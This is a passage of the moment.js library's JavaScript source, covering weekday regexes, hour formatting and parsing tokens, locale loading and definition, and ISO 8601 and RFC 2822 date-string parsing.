            if (isStrict) {
                return this._weekdaysShortStrictRegex;
            } else {
                return this._weekdaysShortRegex;
            }
        } else {
            if (!hasOwnProp(this, '_weekdaysShortRegex')) {
                this._weekdaysShortRegex = defaultWeekdaysShortRegex;
            }
            return this._weekdaysShortStrictRegex && isStrict
                ? this._weekdaysShortStrictRegex
                : this._weekdaysShortRegex;
        }
    }

    function weekdaysMinRegex(isStrict) {
        if (this._weekdaysParseExact) {
            if (!hasOwnProp(this, '_weekdaysRegex')) {
                computeWeekdaysParse.call(this);
            }
            if (isStrict) {
                return this._weekdaysMinStrictRegex;
            } else {
                return this._weekdaysMinRegex;
            }
        } else {
            if (!hasOwnProp(this, '_weekdaysMinRegex')) {
                this._weekdaysMinRegex = defaultWeekdaysMinRegex;
            }
            return this._weekdaysMinStrictRegex && isStrict
                ? this._weekdaysMinStrictRegex
                : this._weekdaysMinRegex;
        }
    }

    function computeWeekdaysParse() {
        function cmpLenRev(a, b) {
            return b.length - a.length;
        }

        var minPieces = [],
            shortPieces = [],
            longPieces = [],
            mixedPieces = [],
            i,
            mom,
            minp,
            shortp,
            longp;
        for (i = 0; i < 7; i++) {
            // make the regex if we don't have it already
            mom = createUTC([2000, 1]).day(i);
            minp = regexEscape(this.weekdaysMin(mom, ''));
            shortp = regexEscape(this.weekdaysShort(mom, ''));
            longp = regexEscape(this.weekdays(mom, ''));
            minPieces.push(minp);
            shortPieces.push(shortp);
            longPieces.push(longp);
            mixedPieces.push(minp);
            mixedPieces.push(shortp);
            mixedPieces.push(longp);
        }
        // Sorting makes sure if one weekday (or abbr) is a prefix of another it
        // will match the longer piece.
        minPieces.sort(cmpLenRev);
        shortPieces.sort(cmpLenRev);
        longPieces.sort(cmpLenRev);
        mixedPieces.sort(cmpLenRev);

        this._weekdaysRegex = new RegExp('^(' + mixedPieces.join('|') + ')', 'i');
        this._weekdaysShortRegex = this._weekdaysRegex;
        this._weekdaysMinRegex = this._weekdaysRegex;

        this._weekdaysStrictRegex = new RegExp(
            '^(' + longPieces.join('|') + ')',
            'i'
        );
        this._weekdaysShortStrictRegex = new RegExp(
            '^(' + shortPieces.join('|') + ')',
            'i'
        );
        this._weekdaysMinStrictRegex = new RegExp(
            '^(' + minPieces.join('|') + ')',
            'i'
        );
    }

    // FORMATTING

    function hFormat() {
        return this.hours() % 12 || 12;
    }

    function kFormat() {
        return this.hours() || 24;
    }

    addFormatToken('H', ['HH', 2], 0, 'hour');
    addFormatToken('h', ['hh', 2], 0, hFormat);
    addFormatToken('k', ['kk', 2], 0, kFormat);

    addFormatToken('hmm', 0, 0, function () {
        return '' + hFormat.apply(this) + zeroFill(this.minutes(), 2);
    });

    addFormatToken('hmmss', 0, 0, function () {
        return (
            '' +
            hFormat.apply(this) +
            zeroFill(this.minutes(), 2) +
            zeroFill(this.seconds(), 2)
        );
    });

    addFormatToken('Hmm', 0, 0, function () {
        return '' + this.hours() + zeroFill(this.minutes(), 2);
    });

    addFormatToken('Hmmss', 0, 0, function () {
        return (
            '' +
            this.hours() +
            zeroFill(this.minutes(), 2) +
            zeroFill(this.seconds(), 2)
        );
    });

    function meridiem(token, lowercase) {
        addFormatToken(token, 0, 0, function () {
            return this.localeData().meridiem(
                this.hours(),
                this.minutes(),
                lowercase
            );
        });
    }

    meridiem('a', true);
    meridiem('A', false);

    // PARSING

    function matchMeridiem(isStrict, locale) {
        return locale._meridiemParse;
    }

    addRegexToken('a', matchMeridiem);
    addRegexToken('A', matchMeridiem);
    addRegexToken('H', match1to2, match1to2HasZero);
    addRegexToken('h', match1to2, match1to2NoLeadingZero);
    addRegexToken('k', match1to2, match1to2NoLeadingZero);
    addRegexToken('HH', match1to2, match2);
    addRegexToken('hh', match1to2, match2);
    addRegexToken('kk', match1to2, match2);

    addRegexToken('hmm', match3to4);
    addRegexToken('hmmss', match5to6);
    addRegexToken('Hmm', match3to4);
    addRegexToken('Hmmss', match5to6);

    addParseToken(['H', 'HH'], HOUR);
    addParseToken(['k', 'kk'], function (input, array, config) {
        var kInput = toInt(input);
        array[HOUR] = kInput === 24 ? 0 : kInput;
    });
    addParseToken(['a', 'A'], function (input, array, config) {
        config._isPm = config._locale.isPM(input);
        config._meridiem = input;
    });
    addParseToken(['h', 'hh'], function (input, array, config) {
        array[HOUR] = toInt(input);
        getParsingFlags(config).bigHour = true;
    });
    addParseToken('hmm', function (input, array, config) {
        var pos = input.length - 2;
        array[HOUR] = toInt(input.substr(0, pos));
        array[MINUTE] = toInt(input.substr(pos));
        getParsingFlags(config).bigHour = true;
    });
    addParseToken('hmmss', function (input, array, config) {
        var pos1 = input.length - 4,
            pos2 = input.length - 2;
        array[HOUR] = toInt(input.substr(0, pos1));
        array[MINUTE] = toInt(input.substr(pos1, 2));
        array[SECOND] = toInt(input.substr(pos2));
        getParsingFlags(config).bigHour = true;
    });
    addParseToken('Hmm', function (input, array, config) {
        var pos = input.length - 2;
        array[HOUR] = toInt(input.substr(0, pos));
        array[MINUTE] = toInt(input.substr(pos));
    });
    addParseToken('Hmmss', function (input, array, config) {
        var pos1 = input.length - 4,
            pos2 = input.length - 2;
        array[HOUR] = toInt(input.substr(0, pos1));
        array[MINUTE] = toInt(input.substr(pos1, 2));
        array[SECOND] = toInt(input.substr(pos2));
    });

    // LOCALES

    function localeIsPM(input) {
        // IE8 Quirks Mode & IE7 Standards Mode do not allow accessing strings like arrays
        // Using charAt should be more compatible.
        return (input + '').toLowerCase().charAt(0) === 'p';
    }

    var defaultLocaleMeridiemParse = /[ap]\.?m?\.?/i,
        // Setting the hour should keep the time, because the user explicitly
        // specified which hour they want. So trying to maintain the same hour (in
        // a new timezone) makes sense. Adding/subtracting hours does not follow
        // this rule.
        getSetHour = makeGetSet('Hours', true);

    function localeMeridiem(hours, minutes, isLower) {
        if (hours > 11) {
            return isLower ? 'pm' : 'PM';
        } else {
            return isLower ? 'am' : 'AM';
        }
    }

    var baseConfig = {
        calendar: defaultCalendar,
        longDateFormat: defaultLongDateFormat,
        invalidDate: defaultInvalidDate,
        ordinal: defaultOrdinal,
        dayOfMonthOrdinalParse: defaultDayOfMonthOrdinalParse,
        relativeTime: defaultRelativeTime,

        months: defaultLocaleMonths,
        monthsShort: defaultLocaleMonthsShort,

        week: defaultLocaleWeek,

        weekdays: defaultLocaleWeekdays,
        weekdaysMin: defaultLocaleWeekdaysMin,
        weekdaysShort: defaultLocaleWeekdaysShort,

        meridiemParse: defaultLocaleMeridiemParse,
    };

    // internal storage for locale config files
    var locales = {},
        localeFamilies = {},
        globalLocale;

    function commonPrefix(arr1, arr2) {
        var i,
            minl = Math.min(arr1.length, arr2.length);
        for (i = 0; i < minl; i += 1) {
            if (arr1[i] !== arr2[i]) {
                return i;
            }
        }
        return minl;
    }

    function normalizeLocale(key) {
        return key ? key.toLowerCase().replace('_', '-') : key;
    }

    // pick the locale from the array
    // try ['en-au', 'en-gb'] as 'en-au', 'en-gb', 'en', as in move through the list trying each
    // substring from most specific to least, but move to the next array item if it's a more specific variant than the current root
    function chooseLocale(names) {
        var i = 0,
            j,
            next,
            locale,
            split;

        while (i < names.length) {
            split = normalizeLocale(names[i]).split('-');
            j = split.length;
            next = normalizeLocale(names[i + 1]);
            next = next ? next.split('-') : null;
            while (j > 0) {
                locale = loadLocale(split.slice(0, j).join('-'));
                if (locale) {
                    return locale;
                }
                if (
                    next &&
                    next.length >= j &&
                    commonPrefix(split, next) >= j - 1
                ) {
                    //the next array item is better than a shallower substring of this one
                    break;
                }
                j--;
            }
            i++;
        }
        return globalLocale;
    }

    function isLocaleNameSane(name) {
        // Prevent names that look like filesystem paths, i.e contain '/' or '\'
        // Ensure name is available and function returns boolean
        return !!(name && name.match('^[^/\\\\]*$'));
    }

    function loadLocale(name) {
        var oldLocale = null,
            aliasedRequire;
        // TODO: Find a better way to register and load all the locales in Node
        if (
            locales[name] === undefined &&
            typeof module !== 'undefined' &&
            module &&
            module.exports &&
            isLocaleNameSane(name)
        ) {
            try {
                oldLocale = globalLocale._abbr;
                aliasedRequire = require;
                aliasedRequire('./locale/' + name);
                getSetGlobalLocale(oldLocale);
            } catch (e) {
                // mark as not found to avoid repeating expensive file require call causing high CPU
                // when trying to find en-US, en_US, en-us for every format call
                locales[name] = null; // null means not found
            }
        }
        return locales[name];
    }

    // This function will load locale and then set the global locale.  If
    // no arguments are passed in, it will simply return the current global
    // locale key.
    function getSetGlobalLocale(key, values) {
        var data;
        if (key) {
            if (isUndefined(values)) {
                data = getLocale(key);
            } else {
                data = defineLocale(key, values);
            }

            if (data) {
                // moment.duration._locale = moment._locale = data;
                globalLocale = data;
            } else {
                if (typeof console !== 'undefined' && console.warn) {
                    //warn user if arguments are passed but the locale could not be set
                    console.warn(
                        'Locale ' + key + ' not found. Did you forget to load it?'
                    );
                }
            }
        }

        return globalLocale._abbr;
    }

    function defineLocale(name, config) {
        if (config !== null) {
            var locale,
                parentConfig = baseConfig;
            config.abbr = name;
            if (locales[name] != null) {
                deprecateSimple(
                    'defineLocaleOverride',
                    'use moment.updateLocale(localeName, config) to change ' +
                        'an existing locale. moment.defineLocale(localeName, ' +
                        'config) should only be used for creating a new locale ' +
                        'See http://momentjs.com/guides/#/warnings/define-locale/ for more info.'
                );
                parentConfig = locales[name]._config;
            } else if (config.parentLocale != null) {
                if (locales[config.parentLocale] != null) {
                    parentConfig = locales[config.parentLocale]._config;
                } else {
                    locale = loadLocale(config.parentLocale);
                    if (locale != null) {
                        parentConfig = locale._config;
                    } else {
                        if (!localeFamilies[config.parentLocale]) {
                            localeFamilies[config.parentLocale] = [];
                        }
                        localeFamilies[config.parentLocale].push({
                            name: name,
                            config: config,
                        });
                        return null;
                    }
                }
            }
            locales[name] = new Locale(mergeConfigs(parentConfig, config));

            if (localeFamilies[name]) {
                localeFamilies[name].forEach(function (x) {
                    defineLocale(x.name, x.config);
                });
            }

            // backwards compat for now: also set the locale
            // make sure we set the locale AFTER all child locales have been
            // created, so we won't end up with the child locale set.
            getSetGlobalLocale(name);

            return locales[name];
        } else {
            // useful for testing
            delete locales[name];
            return null;
        }
    }

    function updateLocale(name, config) {
        if (config != null) {
            var locale,
                tmpLocale,
                parentConfig = baseConfig;

            if (locales[name] != null && locales[name].parentLocale != null) {
                // Update existing child locale in-place to avoid memory-leaks
                locales[name].set(mergeConfigs(locales[name]._config, config));
            } else {
                // MERGE
                tmpLocale = loadLocale(name);
                if (tmpLocale != null) {
                    parentConfig = tmpLocale._config;
                }
                config = mergeConfigs(parentConfig, config);
                if (tmpLocale == null) {
                    // updateLocale is called for creating a new locale
                    // Set abbr so it will have a name (getters return
                    // undefined otherwise).
                    config.abbr = name;
                }
                locale = new Locale(config);
                locale.parentLocale = locales[name];
                locales[name] = locale;
            }

            // backwards compat for now: also set the locale
            getSetGlobalLocale(name);
        } else {
            // pass null for config to unupdate, useful for tests
            if (locales[name] != null) {
                if (locales[name].parentLocale != null) {
                    locales[name] = locales[name].parentLocale;
                    if (name === getSetGlobalLocale()) {
                        getSetGlobalLocale(name);
                    }
                } else if (locales[name] != null) {
                    delete locales[name];
                }
            }
        }
        return locales[name];
    }

    // returns locale data
    function getLocale(key) {
        var locale;

        if (key && key._locale && key._locale._abbr) {
            key = key._locale._abbr;
        }

        if (!key) {
            return globalLocale;
        }

        if (!isArray(key)) {
            //short-circuit everything else
            locale = loadLocale(key);
            if (locale) {
                return locale;
            }
            key = [key];
        }

        return chooseLocale(key);
    }

    function listLocales() {
        return keys(locales);
    }

    function checkOverflow(m) {
        var overflow,
            a = m._a;

        if (a && getParsingFlags(m).overflow === -2) {
            overflow =
                a[MONTH] < 0 || a[MONTH] > 11
                    ? MONTH
                    : a[DATE] < 1 || a[DATE] > daysInMonth(a[YEAR], a[MONTH])
                      ? DATE
                      : a[HOUR] < 0 ||
                          a[HOUR] > 24 ||
                          (a[HOUR] === 24 &&
                              (a[MINUTE] !== 0 ||
                                  a[SECOND] !== 0 ||
                                  a[MILLISECOND] !== 0))
                        ? HOUR
                        : a[MINUTE] < 0 || a[MINUTE] > 59
                          ? MINUTE
                          : a[SECOND] < 0 || a[SECOND] > 59
                            ? SECOND
                            : a[MILLISECOND] < 0 || a[MILLISECOND] > 999
                              ? MILLISECOND
                              : -1;

            if (
                getParsingFlags(m)._overflowDayOfYear &&
                (overflow < YEAR || overflow > DATE)
            ) {
                overflow = DATE;
            }
            if (getParsingFlags(m)._overflowWeeks && overflow === -1) {
                overflow = WEEK;
            }
            if (getParsingFlags(m)._overflowWeekday && overflow === -1) {
                overflow = WEEKDAY;
            }

            getParsingFlags(m).overflow = overflow;
        }

        return m;
    }

    // iso 8601 regex
    // 0000-00-00 0000-W00 or 0000-W00-0 + T + 00 or 00:00 or 00:00:00 or 00:00:00.000 + +00:00 or +0000 or +00)
    var extendedIsoRegex =
            /^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([+-]\d\d(?::?\d\d)?|\s*Z)?)?$/,
        basicIsoRegex =
            /^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d|))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([+-]\d\d(?::?\d\d)?|\s*Z)?)?$/,
        tzRegex = /Z|[+-]\d\d(?::?\d\d)?/,
        isoDates = [
            ['YYYYYY-MM-DD', /[+-]\d{6}-\d\d-\d\d/],
            ['YYYY-MM-DD', /\d{4}-\d\d-\d\d/],
            ['GGGG-[W]WW-E', /\d{4}-W\d\d-\d/],
            ['GGGG-[W]WW', /\d{4}-W\d\d/, false],
            ['YYYY-DDD', /\d{4}-\d{3}/],
            ['YYYY-MM', /\d{4}-\d\d/, false],
            ['YYYYYYMMDD', /[+-]\d{10}/],
            ['YYYYMMDD', /\d{8}/],
            ['GGGG[W]WWE', /\d{4}W\d{3}/],
            ['GGGG[W]WW', /\d{4}W\d{2}/, false],
            ['YYYYDDD', /\d{7}/],
            ['YYYYMM', /\d{6}/, false],
            ['YYYY', /\d{4}/, false],
        ],
        // iso time formats and regexes
        isoTimes = [
            ['HH:mm:ss.SSSS', /\d\d:\d\d:\d\d\.\d+/],
            ['HH:mm:ss,SSSS', /\d\d:\d\d:\d\d,\d+/],
            ['HH:mm:ss', /\d\d:\d\d:\d\d/],
            ['HH:mm', /\d\d:\d\d/],
            ['HHmmss.SSSS', /\d\d\d\d\d\d\.\d+/],
            ['HHmmss,SSSS', /\d\d\d\d\d\d,\d+/],
            ['HHmmss', /\d\d\d\d\d\d/],
            ['HHmm', /\d\d\d\d/],
            ['HH', /\d\d/],
        ],
        aspNetJsonRegex = /^\/?Date\((-?\d+)/i,
        // RFC 2822 regex: For details see https://tools.ietf.org/html/rfc2822#section-3.3
        rfc2822 =
            /^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/,
        obsOffsets = {
            UT: 0,
            GMT: 0,
            EDT: -4 * 60,
            EST: -5 * 60,
            CDT: -5 * 60,
            CST: -6 * 60,
            MDT: -6 * 60,
            MST: -7 * 60,
            PDT: -7 * 60,
            PST: -8 * 60,
        };

    // date from iso format
    function configFromISO(config) {
        var i,
            l,
            string = config._i,
            match = extendedIsoRegex.exec(string) || basicIsoRegex.exec(string),
            allowTime,
            dateFormat,
            timeFormat,
            tzFormat,
            isoDatesLen = isoDates.length,
            isoTimesLen = isoTimes.length;

        if (match) {
            getParsingFlags(config).iso = true;
            for (i = 0, l = isoDatesLen; i < l; i++) {
                if (isoDates[i][1].exec(match[1])) {
                    dateFormat = isoDates[i][0];
                    allowTime = isoDates[i][2] !== false;
                    break;
                }
            }
            if (dateFormat == null) {
                config._isValid = false;
                return;
            }
            if (match[3]) {
                for (i = 0, l = isoTimesLen; i < l; i++) {
                    if (isoTimes[i][1].exec(match[3])) {
                        // match[2] should be 'T' or space
                        timeFormat = (match[2] || ' ') + isoTimes[i][0];
                        break;
                    }
                }
                if (timeFormat == null) {
                    config._isValid = false;
                    return;
                }
            }
            if (!allowTime && timeFormat != null) {
                config._isValid = false;
                return;
            }
            if (match[4]) {
                if (tzRegex.exec(match[4])) {
                    tzFormat = 'Z';
                } else {
                    config._isValid = false;
                    return;
                }
            }
            config._f = dateFormat + (timeFormat || '') + (tzFormat || '');
            configFromStringAndFormat(config);
        } else {
            config._isValid = false;
        }
    }

    function extractFromRFC2822Strings(
        yearStr,
        monthStr,
        dayStr,
        hourStr,
        minuteStr,
        secondStr
    ) {
        var result = [
            untruncateYear(yearStr),
            defaultLocaleMonthsShort.indexOf(monthStr),
            parseInt(dayStr, 10),
            parseInt(hourStr, 10),
            parseInt(minuteStr, 10),
        ];

        if (secondStr) {
            result.push(parseInt(secondStr, 10));
        }

        return result;
    }

    function untruncateYear(yearStr) {
        var year = parseInt(yearStr, 10);
        if (year <= 49) {
            return 2000 + year;
        } else if (year <= 999) {
            return 1900 + year;
        }
        return year;
    }

    function preprocessRFC2822(s) {
        // Remove comments and folding whitespace and replace multiple-spaces with a single space
        return s
            .replace(/\([^()]*\)|[\n\t]/g, ' ')
            .replace(/(\s\s+)/g, ' ')
            .replace(/^\s\s*/, '')
            .replace(/\s\s*$/, '');
    }

    function checkWeekday(weekdayStr, parsedInput, config) {
        if (weekdayStr) {
            // TODO: Replace the vanilla JS Date object with an independent day-of-week check.
            var weekdayProvided = defaultLocaleWeekdaysShort.indexOf(weekdayStr),
                weekdayActual = new Date(
                    parsedInput[0],
                    parsedInput[1],
                    parsedInput[2]
                ).getDay();
            if (weekdayProvided !== weekdayActual) {
                getParsingFlags(config).weekdayMismatch = true;
                config._isValid = false;
                return false;
            }
        }
        return true;
    }

    function calculateOffset(obsOffset, militaryOffset, numOffset) {
        if (obsOffset) {
            return obsOffsets[obsOffset];
        } else if (militaryOffset) {
            // the only allowed military tz is Z
            return 0;
        } else {
            var hm = parseInt(numOffset, 10),
                m = hm % 100,
                h = (hm - m) / 100;
            return h * 60 + m;
        }
    }

    // date and time from ref 2822 format
    function configFromRFC2822(config) {
        var match = rfc2822.exec(preprocessRFC2822(config._i)),
            parsedArray;
        if (match) {
            parsedArray = extractFromRFC2822Strings(
                match[4],
                match[3],
                match[2],
                match[5],
                match[6],
                match[7]
            );
            if (!checkWeekday(match[1], parsedArray, config)) {
                return;
            }

            config._a = parsedArray;
            config._tzm = calculateOffset(match[8], match[9], match[10]);

            config._d = createUTCDate.apply(null, config._a);
            config._d.setUTCMinutes(config._d.getUTCMinutes() - config._tzm);

            getParsingFlags(config).rfc2822 = true;
        } else {
            config._isValid = false;
        }
    }

    // date from 1) ASP.NET, 2) ISO, 3) RFC 2822 formats, or 4) optional fallback if parsing isn't strict
    function configFromString(config) {
        var matched = aspNetJsonRegex.exec(config._i);
        if (matched !== null) {
            config._d = new Date(+matched[1]);
            return;
        }

        configFromISO(config);
        if (config._isValid === false) {
            delete config._isValid;
        } else {
            return;
        }

        configFromRFC2822(config);
        if (config._isValid === false) {
            delete config._isValid;
        } else {
            return;
        }

        if (config._strict) {
            config._isValid = false;
        } else {
            // Final attempt, use Input Fallback
            hooks.createFromInputFallback(config);
        }
    }

    hooks.createFromInputFallback = deprecate(
        'value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), ' +
            'which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are ' +
            'discouraged. Please refer to http://momentjs.com/guides/#/warnings/js-date/ for more info.',
        function (config) {
            config._d = new Date(config._i + (config._useUTC ? ' UTC' : ''));
        }
    );

    // Pick the first defined of two or three arguments.
    function defaults(a, b, c) {
        if (a != null) {
            return a;
        }
        if (b != null) {
            return b;
        }
        return c;
    }

    function currentDateArray(config) {
        // hooks is actually the exported moment object
        var nowValue = new Date(hooks.now());
        if (config._useUTC) {
            return [
                nowValue.getUTCFullYear(),
                nowValue.getUTCMonth(),
                nowValue.getUTCDate(),
            ];
        }
        return [nowValue.getFullYear(), nowValue.getMonth(), nowValue.getDate()];
    }

    // convert an array to a date.
    // the array should mirror the parameters below
    // note: all values past the year are optional and will default to the lowest possible value.
    // [year, month, day , hour, minute, second, millisecond]
    function configFromArray(config) {
        var i,
            date,
            input = [],
            currentDate,
            expectedWeekday,
            yearToUse;

        if (config._d) {
            return;
        }

        currentDate = currentDateArray(config);

        //compute day of the year from weeks and weekdays
        if (config._w && config._a[DATE] == null && config._a[MONTH] == null) {
            dayOfYearFromWeekInfo(config);
        }

        //if the day of the year is set, figure out what it is
        if (config._dayOfYear != null) {
            yearToUse = defaults(config._a[YEAR], currentDate[YEAR]);

            if (
                config._dayOfYear > daysInYear(yearToUse) ||
                config._dayOfYear === 0
            ) {
                getParsingFlags(config)._overflowDayOfYear = true;
            }

            date = createUTCDate(yearToUse, 0, config._dayOfYear);
            config._a[MONTH] = date.getUTCMonth();
            config._a[DATE] = date.getUTCDate();
        }

        // Default to current date.
        // * if no year, month, day of month are given, default to today
        // * if day of month is given, default month and year
        // * if month is given, default only year
        // * if year is given, don't default anything
        for (i = 0; i < 3 && config._a[i] == null; ++i) {
            config._a[i] = input[i] = currentDate[i];
        }

        // Zero out whatever was not defaulted, including time
        for (; i < 7; i++) {
            config._a[i] = input[i] =
                config._a[i] == null ? (i === 2 ? 1 : 0) : config._a[i];
        }

        // Check for 24:00:00.000
        if (
            config._a[HOUR] === 24 &&
            config._a[MINUTE] === 0 &&
            config._a[SECOND] === 0 &&
            config._a[MILLISECOND] === 0
        ) {
            config._nextDay = true;
            config._a[HOUR] = 0;
        }

        config._d = (config._useUTC ? createUTCDate : createDate).apply(
            null,
            input
        );
        expectedWeekday = config._useUTC
            ? config._d.getUTCDay()
            : config._d.getDay();

        // Apply timezone offset from input. The actual utcOffset can be changed
        // with parseZone.
        if (config._tzm != null) {
            config._d.setUTCMinutes(config._d.getUTCMinutes() - config._tzm);
        }

        if (config._nextDay) {
            config._a[HOUR] = 24;
        }

        // check for mismatching day of week
        if (
            config._w &&
            typeof config._w.d !== 'undefined' &&
            config._w.d !== expectedWeekday
        ) {
            getParsingFlags(config).weekdayMismatch = true;
        }
    }

    function dayOfYearFromWeekInfo(config) {
        var w, weekYear, week, weekday, dow, doy, temp, weekdayOverflow, curWeek;

        w = config._w;
        if (w.GG != null || w.W != null || w.E != null) {
            dow = 1;
            doy = 4;

            // TODO: We need to take the current isoWeekYear, but that depends on
            // how we interpret now (local, utc, fixed offset). So create
            // a now version of current config (take local/utc/offset flags, and
            // create now).
            weekYear = defaults(
                w.GG,
                config._a[YEAR],
                weekOfYear(createLocal(), 1, 4).year
            );
            week = defaults(w.W, 1);
            weekday = defaults(w.E, 1);
            if (weekday < 1 || weekday > 7) {
                weekdayOverflow = true;
            }
        } else {
            dow = config._locale._week.dow;
            doy = config._locale._week.doy;

            curWeek = weekOfYear(createLocal(), dow, doy);

            weekYear = defaults(w.gg, config._a[YEAR], curWeek.year);

            // Default to current week.
            week = defaults(w.w, curWeek.week);

            if (w.d != null) {
                // weekday -- low day numbers are considered next week
                weekday = w.d;
                if (weekday < 0 || weekday > 6) {
                    weekdayOverflow = true;
                }
            } else if (w.e != null) {
                // local weekday -- counting starts from beginning of week
                weekday = w.e + dow;
                if (w.e < 0 || w.e > 6) {
                    weekdayOverflow = true;
                }
            } else {
                // default to beginning of week
                weekday = dow;
            }
        }
        if (week < 1 || week > weeksInYear(weekYear, dow, doy)) {
            getParsingFlags(config)._overflowWeeks = true;
        } else if (weekdayOverflow != null) {
            getParsingFlags(config)._overflowWeekday = true;
        } else {
            temp = dayOfYearFromWeeks(weekYear, week, weekday, dow, doy);
            config._a[YEAR] = temp.year;
            config._dayOfYear = temp.dayOfYear;
        }
    }

    // constant that refers to the ISO standard
    hooks.ISO_8601 = function () {};

    // constant that refers to the RFC 2822 form
    hooks.RFC_2822 = function () {};

    // date from string and format string
    function configFromStringAndFormat(config) {
        // TODO: Move this to another part of the creation flow to prevent circular deps
        if (config._f === hooks.ISO_8601) {
            configFromISO(config);
            return;
        }
        if (config._f === hooks.RFC_2822) {
            configFromRFC2822(config);
            return;
        }
        config._a = [];
        getParsingFlags(config).empty = true;

        // This array is used to make a Date, either with `new Date` or `Date.UTC`
        var string = '' + config._i,
            i,
            parsedInput,
            tokens,
            token,
            skipped,
            stringLength = string.length,
            totalParsedInputLength = 0,
            era,
            tokenLen;

        tokens =
            expandFormat(config._f, config._locale).match(formattingTokens) || [];
        tokenLen = tokens.length;
        for (i = 0; i < tokenLen; i++) {
            token = tokens[i];
            parsedInput = (string.match(getParseRegexForToken(token, config)) ||
                [])[0];
            if (parsedInput) {
                skipped = string.substr(0, string.indexOf(parsedInput));
                if (skipped.length > 0) {
                    getParsingFlags(config).unusedInput.push(skipped);
                }
                string = string.slice(
                    string.indexOf(parsedInput) + parsedInput.length
                );
                totalParsedInputLength += parsedInput.length;
            }
            // don't parse if it's not a known token
            if (formatTokenFunctions[token]) {
                if (parsedInput) {
                    getParsingFlags(config).empty = false;
                } else {
                    getParsingFlags(config).unusedTokens.push(token);
                }
                addTimeToArrayFromToken(token, parsedInput, config);
            } else if (config._strict && !parsedInput) {
                getParsingFlags(config).unusedTokens.push(token);
            }
        }

        // add remaining unparsed input length to the string
        getParsingFlags(config).charsLeftOver =
            stringLength - totalParsedInputLength;
        if (string.length > 0) {
            getParsingFlags(config).unusedInput.push(string);
        }

        // clear _12h flag if hour is <= 12
        if (
            config._a[HOUR] <= 12 &&
            getParsingFlags(config).bigHour === true &&
            config._a[HOUR] > 0
        ) {
            getParsingFlags(config).bigHour = undefined;
        }

        getParsingFlags(config).parsedDateParts = config._a.slice(0);
        getParsingFlags(config).meridiem = config._meridiem;
        // handle meridiem
        config._a[HOUR] = meridiemFixWrap(
            config._locale,
            config._a[HOUR],
            config._meridiem
        );

        // handle era
        era = getParsingFlags(config).era;
        if (era !== null) {
            config._a[YEAR] = config._locale.erasConvertYear(era, config._a[YEAR]);
        }

        configFromArray(config);
        checkOverflow(config);
    }

    function meridiemFixWrap(locale, hour, meridiem) {
        var isPm;

        if (meridiem == null) {
            // nothing to do
            return hour;
        }
        if (locale.meridiemHour != null) {
            return locale.meridiemHour(hour, meridiem);
        } else if (locale.isPM != null) {
            // Fallback
            isPm = locale.isPM(meridiem);
            if (isPm && hour < 12) {
                hour += 12;
            }
            if (!isPm && hour === 12) {
                hour = 0;
            }
            return hour;
        } else {
            // this is not supposed to happen
            return hour;
        }
    }

    // date from string and array of format strings
    function configFromStringAndArray(config) {
        var tempConfig,
            bestMoment,
            scoreToBeat,
            i,
            currentScore,
            validFormatFound,
            bestFormatIsValid = false,
            configfLen = config._f.length;

        if (configfLen === 0) {
            getParsingFlags(config).invalidFormat = true;
            config._d = new Date(NaN);
            return;
        }

        for (i = 0; i < configfLen; i++) {
            currentScore = 0;
            validFormatFound = false;
            tempConfig = copyConfig({}, config);
            if (config._useUTC != null) {
                tempConfig._useUTC = config._useUTC;
            }
            tempConfig._f = config._f[i];
            configFromStringAndFormat(tempConfig);

            if (isValid(tempConfig)) {
                validFormatFound = true;
            }

            // if there is any input that was not parsed add a penalty for that format
            currentScore += getParsingFlags(tempConfig).charsLeftOver;

            //or tokens
            currentScore += getParsingFlags(tempConfig).unusedTokens.length * 10;

            getParsingFlags(tempConfig).score = currentScore;

            if (!bestFormatIsValid) {
                if (
                    scoreToBeat == null ||
                    currentScore < scoreToBeat ||
                    validFormatFound
                ) {
                    scoreToBeat = currentScore;
                    bestMoment = tempConfig;
                    if (validFormatFound) {
                        bestFormatIsValid = true;
                    }
                }
            } else {
                if (currentScore < scoreToBeat) {
                    scoreToBeat = currentScore;
                    bestMoment = tempConfig;
                }
            }
        }

        extend(config, bestMoment || tempConfig);
    }

    function configFromObject(config) {
        if (config._d) {
            return;
        }

        var i = normalizeObjectUnits(config._i),
            dayOrDate = i.day === undefined ? i.date : i.day;
        config._a = map(
            [i.year, i.month, dayOrDate, i.hour, i.minute, i.second, i.millisecond],
            function (obj) {
                return obj && parseInt(obj, 10);
            }
        );

        configFromArray(config);
    }

    function createFromConfig(config) {
        var res = new Moment(checkOverflow(prepareConfig(config)));
        if (res._nextDay) {
            // Adding is smart enough around DST
            res.add(1, 'd');
            res._nextDay = undefined;
        }

        return res;
    }

    function prepareConfig(config) {
        var input = config._i,
            format = config._f;

        config._locale = config._locale || getLocale(config._l);

        if (input === null || (format === undefined && input === '')) {
            return createInvalid({ nullInput: true });
        }

        if (typeof input === 'string') {
            config._i = input = config._locale.preparse(input);
        }

        if (isMoment(input)) {
            return new Moment(checkOverflow(input));
        } else if (isDate(input)) {
            config._d = input;
        } else if (isArray(format)) {
            configFromStringAndArray(config);
        } else if (format) {
            configFromStringAndFormat(config);
        } else {
            configFromInput(config);
        }

        if (!isValid(config)) {
            config._d = null;
        }

        return config;
    }

    function configFromInput(config) {
        var input = config._i;
        if (isUndefined(input)) {
            config._d = new Date(hooks.now());
        } else if (isDate(input)) {
            config._d = new Date(input.valueOf());
        } else if (typeof input === 'string') {
            configFromString(config);
        } else if (isArray(input)) {
            config._a = map(input.slice(0), function (obj) {
                return parseInt(obj, 10);
            });
            configFromArray(config);
        } else if (isObject(input)) {
            configFromObject(config);
        } else if (isNumber(input)) {
            // from milliseconds
            config._d = new Date(input);
        } else {
            hooks.createFromInputFallback(config);
        }
    }

    function createLocalOrUTC(input, format, locale, strict, isUTC) {
        var c = {};

        if (format === true || format === false) {
            strict = format;
